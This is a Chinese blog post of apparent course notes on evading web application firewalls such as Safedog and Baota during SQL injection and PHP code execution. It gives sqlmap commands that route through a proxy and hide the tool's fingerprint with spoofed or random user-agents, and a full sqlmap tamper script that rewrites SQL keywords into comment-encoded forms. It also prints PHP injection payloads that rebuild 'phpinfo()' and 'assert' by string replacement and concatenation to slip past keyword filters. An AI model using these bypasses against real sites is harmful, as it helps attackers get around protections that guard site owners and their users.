安全WAF绕过WAF绕过-漏洞利用之注入上传跨站绕过
Yatming的博客WAF绕过-漏洞利用之注入上传跨站绕过

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| python sqlmap.py -u "地址" //正常sqlmap注入
设置代理之后 python sqlmap.py -u "地址" --proxy="代理地址;端口"
之前说到SQL注入的时候是用符号变异,垃圾值的方式去干扰目标网站的WAF软件,但是这个是手工的方式,如果是真正的方式进行注入的话 就是用工具,而工具不能像我们这样,sqlmap有一个模块是tamper,如果想要工具按照我们的思路来注入,就需要我们写一个这样的文件, 放到tamper下
python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py
上面这样就可以了吗?答案是不行的,通过抓包发现这个sqlmap在进行发包的时候的头部,是有sqlmap的指纹的,这样是绝对不行的,所以 如果想要成功还要将这个头部替换成一个白名单的形式
python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py --user-agent="浏览器的头部" //浏览器的头部,你可以随便访问一个正常的网站然后通过burp抓包,复制一下就可以了,应该也可以用这个百度的吧。。。
python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py --random-agent //第二种方式:随机头,每次发包的头部信息都不一样,同样可以实现效果
|
#脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #!/usr/bin/env python """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LlCENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper (payload, **kwargs): retVal = "" if payload: payload = payload.replace("union", "%23a%0aunion") payload = payload.replace("select", "%00/*!44575se1ect*/") payload = payload. replace("%20","%23a%0a") payload = payload. replace(" ", "%23a%0a") payload = payload.replace("database()","database%23a%0a()") return payload
|
SQLmap目录下面有一个这样的模块

**总结:**一个漏洞在利用的时候不光要考虑这个漏洞本身的问题,还要考虑速度,工具的指纹问题,以及代码是否可以执行成功的问题
RCE

这里我只要访问这个选项,那么就会直接被安全狗拦截,不是我做了什么,就是我一访问就被拦截,访问其他的没有问题

个人感觉是访问这个选项的时候,URL中有敏感词,所以被安全狗拦截了,从而导致我访问不了【doge】,所以我就先将这个安全狗关闭一下

分析源码

只要我输入的不是php代码那么就会报错


输入了其他字符的时候,回显:”你喜欢的字符还挺奇怪的”

开启安全狗之后,在访问这个phpinfo(); 安全狗直接拦截了

采用base64绕过,结果失败,原因是宝塔的风险值,也就是宝塔检测了
运行发现是空白(这里是空白,不是小迪说的宝塔将base64_decode作为风险关键词,而是本身就不行啊(这里靶安全狗关了)
考虑采用其他的加密算法进行传输,加密分为:可逆和不可逆,因为这里最后要使传输的值被执行,那么就需要选择这个可逆的加密算法
1 2 3 4 5 6 7 8 9 10 11 12 13
| ---将'pxhpxinxfo()'中的x替换为空,再执行phpinfo
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4
---如果对关键词assert过滤:$x='asse';$xx='rt';$xxx=$x.$xx;($xxx为assert,注意PHP连接两个字符串用.(Python里面用+))
---测试(注意要加assert()执行还原的phpinfo()函数)
---当然,也可以用get传参构造(在宝塔里面传递的参数:$_Get也是风险值,会被拦截)
---如果$_Get被拦截,可以替换为$_REQUEST,甚至$_COOKIE等等
---但是有个问题,我直接在PHP在线编辑器执行报错(说的中间的;报错)
|
参考文章
1 2
| https://www.zhe94.com/132.html https://www.bilibili.com/read/cv14908292?spm_id_from=333.999.0.0
|